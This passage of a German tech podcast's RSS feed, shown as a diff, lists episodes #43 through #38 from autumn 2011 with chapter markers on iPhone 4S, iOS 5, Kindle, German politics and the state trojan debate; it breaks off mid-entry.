+ <sc:chapter start="00:57:08" title="Reminder iCloud Sync Sharing" />
+ <sc:chapter start="01:01:46" title="Programmieren lernen" />
+ <sc:chapter start="01:08:06" title="9V Akkus und warum man sie nicht will" />
+ <sc:chapter start="01:11:34" title="Message.app und Emailadressen" />
+ <sc:chapter start="01:14:42" title="Podcast/Buch Empfehlung" />
+ <sc:chapter start="01:15:47" title="Wiederholungstäter" href="http://wiederholungstaeter-podcast.de/" />
+ <sc:chapter start="01:16:33" title="Dat Problem mit dem dat" />
+ <sc:chapter start="01:21:33" title="Assistive Touch" />
+ <sc:chapter start="01:24:00" title="Gesten" />
+ <sc:chapter start="01:25:36" title="Custom Vibrations" />
+ <sc:chapter start="01:28:04" title="Batman: Arkham City" href="http://en.wikipedia.org/wiki/Batman:_Arkham_City" />
+ <sc:chapter start="01:30:42" title="Pixelmator 2" href="http://www.pixelmator.com/weblog/2011/10/27/pixelmator-2-0-launches-on-mac-app-store/" />
+ <sc:chapter start="01:32:52" title="Metakram" />
+ <sc:chapter start="01:35:17" title="Rausschmeisser" href="http://www.youtube.com/watch?v=dmTINEnGwnc" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#43:" />
+ </item>
+ <item>
+ <title>Episode #42 - Zeitweise ohne Zeitweise</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Zeitweise ohne Zeitweise</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN042.mp3" length="43218985" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN042</guid>
+ <pubDate>Fri, 21 Oct 2011 22:06:44 +0200</pubDate>
+ <itunes:duration>01:29:54</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 und Martin
+00:00:51 Errata
+00:03:19 iPhone 4S
+00:06:31 Kamera
+00:08:52 Siri
+00:19:59 Airplay und AppleTV
+00:25:39 AkkuGate
+00:36:06 Videoqualität
+00:36:56 0zapftis Teil 2
+00:42:27 Nintendo 3DS/Wii Software News
+00:53:09 Lytro
+00:58:52 Live von der Spiel 2011
+01:01:33 Shortcut Tipps
+01:03:18 Panoramafreiheit für Ton?
+01:06:30 Wifi Sync mit 10.6 und G4?
+01:08:56 Mehr Airplay!
+01:10:44 Headsetgeräusche
+01:12:26 9V Akkus
+01:16:12 Mophie Juice Pack Plus
+01:17:50 decoded conference
+01:21:43 Kogeto Dot
+01:24:06 Deutschland sucht den Nachwuchspodcast
+01:27:20 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:51</td><td>Errata</td></tr><tr><td>00:03:19</td><td><a href="http://www.apple.com/iphone/" target="_blank">iPhone 4S</td></tr><tr><td>00:06:31</td><td>Kamera</td></tr><tr><td>00:08:52</td><td>Siri</td></tr><tr><td>00:19:59</td><td>Airplay und AppleTV</td></tr><tr><td>00:25:39</td><td>AkkuGate</td></tr><tr><td>00:36:06</td><td><a href="http://vimeo.com/30606785" target="_blank">Videoqualität</td></tr><tr><td>00:36:56</td><td>0zapftis Teil 2</td></tr><tr><td>00:42:27</td><td><a href="http://kotaku.com/5852053/nintendo-dishes-on-november-3ds-update?tag=3ds" target="_blank">Nintendo 3DS/Wii Software News</td></tr><tr><td>00:53:09</td><td><a href="http://www.lytro.com/" target="_blank">Lytro</td></tr><tr><td>00:58:52</td><td>Live von der Spiel 2011</td></tr><tr><td>01:01:33</td><td>Shortcut Tipps</td></tr><tr><td>01:03:18</td><td>Panoramafreiheit für Ton?</td></tr><tr><td>01:06:30</td><td>Wifi Sync mit 10.6 und G4?</td></tr><tr><td>01:08:56</td><td>Mehr Airplay!</td></tr><tr><td>01:10:44</td><td>Headsetgeräusche</td></tr><tr><td>01:12:26</td><td>9V Akkus</td></tr><tr><td>01:16:12</td><td><a href="http://www.mophie.com/mophie-juice-pack-plus-iPhone-4-battery-case-p/1160_jpp-ip4-blk.htm" target="_blank">Mophie Juice Pack Plus</td></tr><tr><td>01:17:50</td><td><a href="http://decoded-conference.com/2011/" target="_blank">decoded conference</td></tr><tr><td>01:21:43</td><td><a href="http://www.kogeto.com/say-hello-to-dot" target="_blank">Kogeto Dot</td></tr><tr><td>01:24:06</td><td>Deutschland sucht den Nachwuchspodcast</td></tr><tr><td>01:27:20</td><td><a href="https://www.youtube.com/watch?v=hckrig2BwNY" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:51" title="Errata" />
+ <sc:chapter start="00:03:19" title="iPhone 4S" href="http://www.apple.com/iphone/" />
+ <sc:chapter start="00:06:31" title="Kamera" />
+ <sc:chapter start="00:08:52" title="Siri" />
+ <sc:chapter start="00:19:59" title="Airplay und AppleTV" />
+ <sc:chapter start="00:25:39" title="AkkuGate" />
+ <sc:chapter start="00:36:06" title="Videoqualität" href="http://vimeo.com/30606785" />
+ <sc:chapter start="00:36:56" title="0zapftis Teil 2" />
+ <sc:chapter start="00:42:27" title="Nintendo 3DS/Wii Software News" href="http://kotaku.com/5852053/nintendo-dishes-on-november-3ds-update?tag=3ds" />
+ <sc:chapter start="00:53:09" title="Lytro" href="http://www.lytro.com/" />
+ <sc:chapter start="00:58:52" title="Live von der Spiel 2011" />
+ <sc:chapter start="01:01:33" title="Shortcut Tipps" />
+ <sc:chapter start="01:03:18" title="Panoramafreiheit für Ton?" />
+ <sc:chapter start="01:06:30" title="Wifi Sync mit 10.6 und G4?" />
+ <sc:chapter start="01:08:56" title="Mehr Airplay!" />
+ <sc:chapter start="01:10:44" title="Headsetgeräusche" />
+ <sc:chapter start="01:12:26" title="9V Akkus" />
+ <sc:chapter start="01:16:12" title="Mophie Juice Pack Plus" href="http://www.mophie.com/mophie-juice-pack-plus-iPhone-4-battery-case-p/1160_jpp-ip4-blk.htm" />
+ <sc:chapter start="01:17:50" title="decoded conference" href="http://decoded-conference.com/2011/" />
+ <sc:chapter start="01:21:43" title="Kogeto Dot" href="http://www.kogeto.com/say-hello-to-dot" />
+ <sc:chapter start="01:24:06" title="Deutschland sucht den Nachwuchspodcast" />
+ <sc:chapter start="01:27:20" title="Rausschmeisser" href="https://www.youtube.com/watch?v=hckrig2BwNY" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#42:" />
+ </item>
+ <item>
+ <title>Episode #41 - Blender und Leuchten</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Blender und Leuchten</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN041.mp3" length="48797487" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN041</guid>
+ <pubDate>Thu, 13 Oct 2011 21:41:34 +0200</pubDate>
+ <itunes:duration>01:41:31</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:13 Marcel
+00:00:15 und Martin
+00:01:07 Errata
+00:01:47 Bundestrojaner
+00:02:48 Previously…
+00:05:59 CCC Analyse
+00:31:19 iOS 5
+00:33:30 Account-Wirren
+00:45:12 Notifications
+00:48:38 Newsstand
+00:50:37 Reminders
+00:53:33 Text Shortcuts
+00:55:19 iMessage
+01:01:15 Find my Friends
+01:13:01 iPad Music App
+01:15:12 Camera
+01:16:55 Safari Reader
+01:18:01 Twitter Integration
+01:19:53 10.7.2
+01:20:44 Game Center
+01:24:08 Open Mind
+01:25:28 Spiel in Essen
+01:26:30 decoded'11
+01:28:33 f Stops und Co
+01:31:32 Applecare
+01:33:53 Applescript und Keychain
+01:37:11 Gelesene Mails
+01:40:01 Rauschschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td>Mit Dominik</td></tr><tr><td>00:00:13</td><td>Marcel</td></tr><tr><td>00:00:15</td><td>und Martin</td></tr><tr><td>00:01:07</td><td>Errata</td></tr><tr><td>00:01:47</td><td>Bundestrojaner</td></tr><tr><td>00:02:48</td><td><a href="http://fanboyspodcast.org/#05:00:12:33" target="_blank">Previously…</td></tr><tr><td>00:05:59</td><td><a href="http://ccc.de/de/updates/2011/staatstrojaner" target="_blank">CCC Analyse</td></tr><tr><td>00:31:19</td><td><a href="http://www.apple.com/ios/" target="_blank">iOS 5</td></tr><tr><td>00:33:30</td><td>Account-Wirren</td></tr><tr><td>00:45:12</td><td>Notifications</td></tr><tr><td>00:48:38</td><td>Newsstand</td></tr><tr><td>00:50:37</td><td>Reminders</td></tr><tr><td>00:53:33</td><td>Text Shortcuts</td></tr><tr><td>00:55:19</td><td>iMessage</td></tr><tr><td>01:01:15</td><td>Find my Friends</td></tr><tr><td>01:13:01</td><td>iPad Music App</td></tr><tr><td>01:15:12</td><td>Camera</td></tr><tr><td>01:16:55</td><td>Safari Reader</td></tr><tr><td>01:18:01</td><td>Twitter Integration</td></tr><tr><td>01:19:53</td><td>10.7.2</td></tr><tr><td>01:20:44</td><td>Game Center</td></tr><tr><td>01:24:08</td><td><a href="http://11.openmind-konferenz.de/" target="_blank">Open Mind</td></tr><tr><td>01:25:28</td><td><a href="http://www.internationalespieltage.de/" target="_blank">Spiel in Essen</td></tr><tr><td>01:26:30</td><td><a href="http://decoded-conference.com/2011/" target="_blank">decoded'11</td></tr><tr><td>01:28:33</td><td>f Stops und Co</td></tr><tr><td>01:31:32</td><td>Applecare</td></tr><tr><td>01:33:53</td><td>Applescript und Keychain</td></tr><tr><td>01:37:11</td><td>Gelesene Mails</td></tr><tr><td>01:40:01</td><td><a href="http://www.youtube.com/watch?v=aTg00wIijNY" target="_blank">Rauschschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" />
+ <sc:chapter start="00:00:13" title="Marcel" />
+ <sc:chapter start="00:00:15" title="und Martin" />
+ <sc:chapter start="00:01:07" title="Errata" />
+ <sc:chapter start="00:01:47" title="Bundestrojaner" />
+ <sc:chapter start="00:02:48" title="Previously…" href="http://fanboyspodcast.org/#05:00:12:33" />
+ <sc:chapter start="00:05:59" title="CCC Analyse" href="http://ccc.de/de/updates/2011/staatstrojaner" />
+ <sc:chapter start="00:31:19" title="iOS 5" href="http://www.apple.com/ios/" />
+ <sc:chapter start="00:33:30" title="Account-Wirren" />
+ <sc:chapter start="00:45:12" title="Notifications" />
+ <sc:chapter start="00:48:38" title="Newsstand" />
+ <sc:chapter start="00:50:37" title="Reminders" />
+ <sc:chapter start="00:53:33" title="Text Shortcuts" />
+ <sc:chapter start="00:55:19" title="iMessage" />
+ <sc:chapter start="01:01:15" title="Find my Friends" />
+ <sc:chapter start="01:13:01" title="iPad Music App" />
+ <sc:chapter start="01:15:12" title="Camera" />
+ <sc:chapter start="01:16:55" title="Safari Reader" />
+ <sc:chapter start="01:18:01" title="Twitter Integration" />
+ <sc:chapter start="01:19:53" title="10.7.2" />
+ <sc:chapter start="01:20:44" title="Game Center" />
+ <sc:chapter start="01:24:08" title="Open Mind" href="http://11.openmind-konferenz.de/" />
+ <sc:chapter start="01:25:28" title="Spiel in Essen" href="http://www.internationalespieltage.de/" />
+ <sc:chapter start="01:26:30" title="decoded'11" href="http://decoded-conference.com/2011/" />
+ <sc:chapter start="01:28:33" title="f Stops und Co" />
+ <sc:chapter start="01:31:32" title="Applecare" />
+ <sc:chapter start="01:33:53" title="Applescript und Keychain" />
+ <sc:chapter start="01:37:11" title="Gelesene Mails" />
+ <sc:chapter start="01:40:01" title="Rauschschmeisser" href="http://www.youtube.com/watch?v=aTg00wIijNY" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#41:" />
+ </item>
+ <item>
+ <title>Episode #40 - Right back at ya</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Right back at ya</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN040.mp3" length="58151413" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN040</guid>
+ <pubDate>Fri, 07 Oct 2011 23:14:01 +0200</pubDate>
+ <itunes:duration>02:01:00</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:10 Marcel
+00:00:14 Tim
+00:00:33 und Martin
+00:02:33 Steve Jobs
+00:18:55 Tim bei N24
+00:28:09 Steve und Photobooth
+00:35:03 Wau Holland
+00:40:04 The Colbert Report
+00:41:35 iPhone 4S Keynote
+00:54:10 Keynote Recap
+00:59:06 Cards.app
+01:01:33 Find my Friends
+01:04:11 iTunes Match
+01:06:38 iPod Nano
+01:09:21 iPod Touch
+01:10:05 iPhone 4S
+01:25:40 Siri
+01:43:53 Glif und iclyp
+01:47:39 ZKM
+01:49:30 Retrogames e.V.
+01:50:47 CRE 170: Arcade Games
+01:51:25 Wahlrecht und Jimmy Schulz
+01:55:59 Thanks Steve.
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/timpritlove" target="_blank">Tim</td></tr><tr><td>00:00:33</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:33</td><td>Steve Jobs</td></tr><tr><td>00:18:55</td><td><a href="http://www.n24.de/news/newsitem_7319744.html" target="_blank">Tim bei N24</td></tr><tr><td>00:28:09</td><td><a href="http://thenextweb.com/apple/2011/10/06/these-photos-will-make-you-smile-steve-jobs-testing-photobooth/" target="_blank">Steve und Photobooth</td></tr><tr><td>00:35:03</td><td><a href="http://de.wikipedia.org/wiki/Wau_Holland" target="_blank">Wau Holland</td></tr><tr><td>00:40:04</td><td><a href="http://www.colbertnation.com/the-colbert-report-videos/399182/october-06-2011/tribute-to-steve-jobs" target="_blank">The Colbert Report</td></tr><tr><td>00:41:35</td><td><a href="http://www.apple.com/apple-events/october-2011/" target="_blank">iPhone 4S Keynote</td></tr><tr><td>00:54:10</td><td>Keynote Recap</td></tr><tr><td>00:59:06</td><td><a href="http://thenextweb.com/apple/2011/10/07/apple-reveals-new-details-about-its-cards-app/" target="_blank">Cards.app</td></tr><tr><td>01:01:33</td><td><a href="http://www.apple.com/icloud/features/find-my.html" target="_blank">Find my Friends</td></tr><tr><td>01:04:11</td><td><a href="http://www.apple.com/icloud/features/" target="_blank">iTunes Match</td></tr><tr><td>01:06:38</td><td><a href="http://www.apple.com/ipodnano/" target="_blank">iPod Nano</td></tr><tr><td>01:09:21</td><td><a href="http://www.apple.com/ipodtouch/" target="_blank">iPod Touch</td></tr><tr><td>01:10:05</td><td><a href="http://www.apple.com/iphone/" target="_blank">iPhone 4S</td></tr><tr><td>01:25:40</td><td><a href="http://www.apple.com/iphone/features/#siri" target="_blank">Siri</td></tr><tr><td>01:43:53</td><td><a href="http://www.maclife.de/iphone-ipod/iphone/update-zwillingsstreit-der-iphone-halterungen" target="_blank">Glif und iclyp</td></tr><tr><td>01:47:39</td><td><a href="http://on1.zkm.de/zkm/e/" target="_blank">ZKM</td></tr><tr><td>01:49:30</td><td><a href="http://retrogames.info/" target="_blank">Retrogames e.V.</td></tr><tr><td>01:50:47</td><td><a href="http://chaosradio.ccc.de/cre170.html" target="_blank">CRE 170: Arcade Games</td></tr><tr><td>01:51:25</td><td><a href="https://twitter.com/#!/jimmyschulz/status/119854190863462401" target="_blank">Wahlrecht und Jimmy Schulz</td></tr><tr><td>01:55:59</td><td><a href="http://www.youtube.com/watch?v=D1R-jKKp3NA" target="_blank">Thanks Steve.</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:33" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:02:33" title="Steve Jobs" />
+ <sc:chapter start="00:18:55" title="Tim bei N24" href="http://www.n24.de/news/newsitem_7319744.html" />
+ <sc:chapter start="00:28:09" title="Steve und Photobooth" href="http://thenextweb.com/apple/2011/10/06/these-photos-will-make-you-smile-steve-jobs-testing-photobooth/" />
+ <sc:chapter start="00:35:03" title="Wau Holland" href="http://de.wikipedia.org/wiki/Wau_Holland" />
+ <sc:chapter start="00:40:04" title="The Colbert Report" href="http://www.colbertnation.com/the-colbert-report-videos/399182/october-06-2011/tribute-to-steve-jobs" />
+ <sc:chapter start="00:41:35" title="iPhone 4S Keynote" href="http://www.apple.com/apple-events/october-2011/" />
+ <sc:chapter start="00:54:10" title="Keynote Recap" />
+ <sc:chapter start="00:59:06" title="Cards.app" href="http://thenextweb.com/apple/2011/10/07/apple-reveals-new-details-about-its-cards-app/" />
+ <sc:chapter start="01:01:33" title="Find my Friends" href="http://www.apple.com/icloud/features/find-my.html" />
+ <sc:chapter start="01:04:11" title="iTunes Match" href="http://www.apple.com/icloud/features/" />
+ <sc:chapter start="01:06:38" title="iPod Nano" href="http://www.apple.com/ipodnano/" />
+ <sc:chapter start="01:09:21" title="iPod Touch" href="http://www.apple.com/ipodtouch/" />
+ <sc:chapter start="01:10:05" title="iPhone 4S" href="http://www.apple.com/iphone/" />
+ <sc:chapter start="01:25:40" title="Siri" href="http://www.apple.com/iphone/features/#siri" />
+ <sc:chapter start="01:43:53" title="Glif und iclyp" href="http://www.maclife.de/iphone-ipod/iphone/update-zwillingsstreit-der-iphone-halterungen" />
+ <sc:chapter start="01:47:39" title="ZKM" href="http://on1.zkm.de/zkm/e/" />
+ <sc:chapter start="01:49:30" title="Retrogames e.V." href="http://retrogames.info/" />
+ <sc:chapter start="01:50:47" title="CRE 170: Arcade Games" href="http://chaosradio.ccc.de/cre170.html" />
+ <sc:chapter start="01:51:25" title="Wahlrecht und Jimmy Schulz" href="https://twitter.com/#!/jimmyschulz/status/119854190863462401" />
+ <sc:chapter start="01:55:59" title="Thanks Steve." href="http://www.youtube.com/watch?v=D1R-jKKp3NA" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#40:" />
+ </item>
+ <item>
+ <title>Episode #39 - Das gebrannte Kindle</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Das gebrannte Kindle</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN039.mp3" length="48623198" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN039</guid>
+ <pubDate>Fri, 30 Sep 2011 20:00:26 +0200</pubDate>
+ <itunes:duration>01:41:09</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:11 Marcel
+00:00:14 Und Martin
+00:00:24 Das war Dominikanisch
+00:00:42 Transparenz
+00:07:48 Die Facebook Ministerin ist traurig
+00:13:44 "Europe vs. Facebook"
+00:17:37 Let's talk iPhone
+00:25:27 Kauderstrike
+00:29:47 Kaudergate
+00:42:47 ACTA Unterzeichnung
+00:45:35 Europäische Finanz-Stabilisierungs-Fazilität
+00:47:10 Geschmacksmuster Ausflug
+00:48:19 Wahlrecht
+00:57:10 Neue Kindles
+01:01:50 Kindle Fire
+01:06:51 Amazon Silk
+01:12:29 Piratenfeedback
+01:14:16 Filevault Feedback
+01:19:45 JuLi Feedback
+01:24:43 Latitude Feedback
+01:28:35 Preview Bookmarks Feedback
+01:30:42 Pinball Dreams HD
+01:33:12 Stacking
+01:33:34 Psychonauts
+01:34:54 Ico / Shadow of the Colossus HD
+01:39:04 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:24</td><td>Das war Dominikanisch</td></tr><tr><td>00:00:42</td><td>Transparenz</td></tr><tr><td>00:07:48</td><td><a href="http://www.dradio.de/dkultur/sendungen/interview/1562459/" target="_blank">Die Facebook Ministerin ist traurig</td></tr><tr><td>00:13:44</td><td><a href="http://www.europe-v-facebook.org/" target="_blank">"Europe vs. Facebook"</td></tr><tr><td>00:17:37</td><td><a href="http://www.mactechnews.de/news/index/Lets-talk-iPhone-Apple-bestatigt-Medien-Event-fur-den-4--Oktober-151212.html" target="_blank">Let's talk iPhone</td></tr><tr><td>00:25:27</td><td><a href="http://netzpolitik.org/2011/doppelmoral-siegfried-kauder-und-das-urheberrecht/" target="_blank">Kauderstrike</td></tr><tr><td>00:29:47</td><td><a href="http://netzpolitik.org/wp-upload/29.09.-Stellungnahme-S.-Kauder.pdf" target="_blank">Kaudergate</td></tr><tr><td>00:42:47</td><td><a href="http://www.numerama.com/magazine/19965-l-acta-sera-signe-samedi-a-tokyo.html" target="_blank">ACTA Unterzeichnung</td></tr><tr><td>00:45:35</td><td>Europäische Finanz-Stabilisierungs-Fazilität</td></tr><tr><td>00:47:10</td><td>Geschmacksmuster Ausflug</td></tr><tr><td>00:48:19</td><td><a href="http://www.wahlrecht.de/" target="_blank">Wahlrecht</td></tr><tr><td>00:57:10</td><td><a href="http://www.amazon.com/Kindle-Touch-Wi-Fi-Ink-Display/dp/B005890G8Y/ref=kin3w_ddp_compare_title2_1?pf_rd_p=1321543402&pf_rd_s=center-20&pf_rd_t=201&pf_rd_i=B0051VVOB2&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=1R68QY6DFZNKJQW3G7MD" target="_blank">Neue Kindles</td></tr><tr><td>01:01:50</td><td><a href="http://www.amazon.com/Kindle-Fire-Color/dp/B0051VVOB2" target="_blank">Kindle Fire</td></tr><tr><td>01:06:51</td><td><a href="http://amazonsilk.wordpress.com/" target="_blank">Amazon Silk</td></tr><tr><td>01:12:29</td><td>Piratenfeedback</td></tr><tr><td>01:14:16</td><td>Filevault Feedback</td></tr><tr><td>01:19:45</td><td>JuLi Feedback</td></tr><tr><td>01:24:43</td><td>Latitude Feedback</td></tr><tr><td>01:28:35</td><td>Preview Bookmarks Feedback</td></tr><tr><td>01:30:42</td><td><a href="http://itunes.apple.com/de/app/pinball-dreams-hd/id437184410?mt=8" target="_blank">Pinball Dreams HD</td></tr><tr><td>01:33:12</td><td><a href="http://en.wikipedia.org/wiki/Stacking_(video_game)" target="_blank">Stacking</td></tr><tr><td>01:33:34</td><td><a href="http://itunes.apple.com/us/app/psychonauts/id459476769?mt=12" target="_blank">Psychonauts</td></tr><tr><td>01:34:54</td><td><a href="http://en.wikipedia.org/wiki/Shadow_of_the_Colossus" target="_blank">Ico / Shadow of the Colossus HD</td></tr><tr><td>01:39:04</td><td><a href="https://www.youtube.com/watch?v=hx30VHwKa0Q" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:24" title="Das war Dominikanisch" />
+ <sc:chapter start="00:00:42" title="Transparenz" />
+ <sc:chapter start="00:07:48" title="Die Facebook Ministerin ist traurig" href="http://www.dradio.de/dkultur/sendungen/interview/1562459/" />
+ <sc:chapter start="00:13:44" title="&amp;quot;Europe vs. Facebook&amp;quot;" href="http://www.europe-v-facebook.org/" />
+ <sc:chapter start="00:17:37" title="Let's talk iPhone" href="http://www.mactechnews.de/news/index/Lets-talk-iPhone-Apple-bestatigt-Medien-Event-fur-den-4--Oktober-151212.html" />
+ <sc:chapter start="00:25:27" title="Kauderstrike" href="http://netzpolitik.org/2011/doppelmoral-siegfried-kauder-und-das-urheberrecht/" />
+ <sc:chapter start="00:29:47" title="Kaudergate" href="http://netzpolitik.org/wp-upload/29.09.-Stellungnahme-S.-Kauder.pdf" />
+ <sc:chapter start="00:42:47" title="ACTA Unterzeichnung" href="http://www.numerama.com/magazine/19965-l-acta-sera-signe-samedi-a-tokyo.html" />
+ <sc:chapter start="00:45:35" title="Europäische Finanz-Stabilisierungs-Fazilität" />
+ <sc:chapter start="00:47:10" title="Geschmacksmuster Ausflug" />
+ <sc:chapter start="00:48:19" title="Wahlrecht" href="http://www.wahlrecht.de/" />
+ <sc:chapter start="00:57:10" title="Neue Kindles" href="http://www.amazon.com/Kindle-Touch-Wi-Fi-Ink-Display/dp/B005890G8Y/ref=kin3w_ddp_compare_title2_1?pf_rd_p=1321543402&amp;pf_rd_s=center-20&amp;pf_rd_t=201&amp;pf_rd_i=B0051VVOB2&amp;pf_rd_m=ATVPDKIKX0DER&amp;pf_rd_r=1R68QY6DFZNKJQW3G7MD" />
+ <sc:chapter start="01:01:50" title="Kindle Fire" href="http://www.amazon.com/Kindle-Fire-Color/dp/B0051VVOB2" />
+ <sc:chapter start="01:06:51" title="Amazon Silk" href="http://amazonsilk.wordpress.com/" />
+ <sc:chapter start="01:12:29" title="Piratenfeedback" />
+ <sc:chapter start="01:14:16" title="Filevault Feedback" />
+ <sc:chapter start="01:19:45" title="JuLi Feedback" />
+ <sc:chapter start="01:24:43" title="Latitude Feedback" />
+ <sc:chapter start="01:28:35" title="Preview Bookmarks Feedback" />
+ <sc:chapter start="01:30:42" title="Pinball Dreams HD" href="http://itunes.apple.com/de/app/pinball-dreams-hd/id437184410?mt=8" />
+ <sc:chapter start="01:33:12" title="Stacking" href="http://en.wikipedia.org/wiki/Stacking_(video_game)" />
+ <sc:chapter start="01:33:34" title="Psychonauts" href="http://itunes.apple.com/us/app/psychonauts/id459476769?mt=12" />
+ <sc:chapter start="01:34:54" title="Ico / Shadow of the Colossus HD" href="http://en.wikipedia.org/wiki/Shadow_of_the_Colossus" />
+ <sc:chapter start="01:39:04" title="Rausschmeisser" href="https://www.youtube.com/watch?v=hx30VHwKa0Q" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#39:" />
+ </item>
+ <item>
+ <title>Episode #38 - Hach komma Nyan</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Hach komma Nyan</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN038.mp3" length="40886146" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN038</guid>
+ <pubDate>Thu, 22 Sep 2011 20:29:30 +0200</pubDate>
+ <itunes:duration>01:25:02</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Marcel
+00:00:12 und Martin
+00:00:24 Esperanto
+00:01:54 8 komma 9
+00:08:10 Anne Will
+00:25:53 Lanz
+00:28:01 Wahlpartyberichterstattung
+00:37:07 Internetkulturtechniken
+00:47:46 Debattierclub
+00:49:07 iPhone 5
+00:51:50 Netflix und Qwikster
+00:53:03 Ilse Aigner auf Twitter
+00:55:48 Daniel Mack
+00:59:59 Schnell, schnell, Wahlrecht
+01:07:34 iTunes Purchase Listen
+01:09:34 iPhoto konsolidieren
+01:13:04 App Store only?
+01:15:28 Drobo und Airport
+01:17:16 VDSL Modems
+01:19:52 Pitfall Classic Postmortem With David Crane
+01:22:33 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td>Mit Marcel</td></tr><tr><td>00:00:12</td><td>und Martin</td></tr><tr><td>00:00:24</td><td><a href="http://www.esperanto.de/gei/" target="_blank">Esperanto</td></tr><tr><td>00:01:54</td><td>8 komma 9</td></tr><tr><td>00:08:10</td><td><a href="http://www.youtube.com/watch?v=q-JzD1Mtf5k" target="_blank">Anne Will</td></tr><tr><td>00:25:53</td><td><a href="http://www.youtube.com/watch?v=jeoktElBwK8" target="_blank">Lanz</td></tr><tr><td>00:28:01</td><td><a href="http://www.youtube.com/watch?v=u4FFuBPzrQg" target="_blank">Wahlpartyberichterstattung</td></tr><tr><td>00:37:07</td><td>Internetkulturtechniken</td></tr><tr><td>00:47:46</td><td><a href="http://de.wikipedia.org/wiki/Debattierclub" target="_blank">Debattierclub</td></tr><tr><td>00:49:07</td><td><a href="http://www.macrumors.com/2011/09/21/apples-iphone-5-media-event-reportedly-scheduled-for-october-4/" target="_blank">iPhone 